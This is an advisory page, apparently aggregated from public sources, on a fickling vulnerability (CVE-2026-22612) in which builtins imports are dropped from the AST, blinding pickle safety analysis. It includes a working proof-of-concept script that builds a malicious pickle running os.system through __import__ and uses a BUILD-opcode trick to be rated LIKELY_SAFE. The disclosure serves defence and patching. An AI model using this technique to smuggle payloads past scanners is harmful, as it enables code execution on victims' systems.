🛡️ CVE-2026-22612 — fickling
Description
Fickling vulnerable to detection bypass due to "builtins" blindness
#Fickling's assessment
Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).
# Original report
Summary
Fickling works by
Pickle bytecode --> AST --> Security analysis
However while going from bytecode to AST, some import nodes are removed which blinds the security analysis
fickling/fickling/fickle.py
```python
def run(self, interpreter: Interpreter):
module, attr = self.module, self.attr
if module in ("__builtin__", "__builtins__", "builtins"):
# no need to emit an import for builtins!
pass
else:
alias = ast.alias(attr)
interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
interpreter.stack.append(ast.Name(attr, ast.Load()))
def encode(self) -> bytes:
return f"c{self.module}\n{self.attr}\n".encode()
```
Here we see that no import nodes are emitted for builtins
However builtins is marked as an unsafe import
fickling/fickling/analysis.py
```python
UNSAFE_MODULES = {
"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
"builtins": "This module contains dangerous functions that can execute arbitrary code.",
```
But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.
This can allow for security bypasses like this
poc.py (script to create payload)
```python
import os
GLOBAL = b'c' # Import module.name
STRING = b'S' # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R' # Call function
PUT = b'p' # Memoize (Variable assignment)
GET = b'g' # Load from memo (Variable usage)
POP = b'0' # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's' # Add key/value to dict
BUILD = b'b' # Update object state (Liveness satisfy)
STOP = b'.' # Finish and return stack top
def generate_raw_payload():
payload = b""
payload += GLOBAL + b"builtins\n__import__\n"
payload += STRING + b"'os'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # _var0 = os module
payload += POP
payload += GLOBAL + b"builtins\ngetattr\n"
payload += GET + b"0\n" # os module
payload += STRING + b"'system'\n"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # _var1 = os.system
payload += POP
payload += GET + b"1\n" # os.system
payload += STRING + b"'whoami'\n" # COMMAND
payload += TUPLE1 + REDUCE
payload += PUT + b"2\n"
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"3\n"
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"2\n"
payload += SETITEM
payload += BUILD
payload += STOP
return payload
if __name__ == "__main__":
data = generate_raw_payload()
with open("raw_bypass.pkl", "wb") as f:
f.write(data)
print("Generated 'raw_bypass.pkl'")
```
This creates a pickle file which imports the OS module using __import__ which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.
However now fickling sees the pickle payload as
```python
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
```
<img width="810" height="182" alt="image" src="https://github.com/user-attachments/assets/5bfe8c34-7bc0-429f-83ce-d0c2f1928aca" />
As you can see there is no mention of builtins anywhere so it isnt flagged
Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED"
We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state.
By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.
The end result is that the malicious pickle gets classified as LIKELY_SAFE
Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like ``__import__` while not emitting for stuff like `dict()``
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-22612 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.
Affected software
CVE-2026-22612 is recorded against 1 package.
- fickling (fixed in 0.1.7)
Timeline and source
Published on 9 January 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from OSV.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
Details
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| fickling | — | 0.1.7 |
References
Similar Threats
- High CVE-2026-14534
- High CVE-2026-14535
- Unknown GHSA-5cxw-w2xg-2m8h
- Unknown GHSA-r48f-3986-4f9c
- High GHSA-wccx-j62j-r448
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is fickling part of your stack?
CVE-2026-22612 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.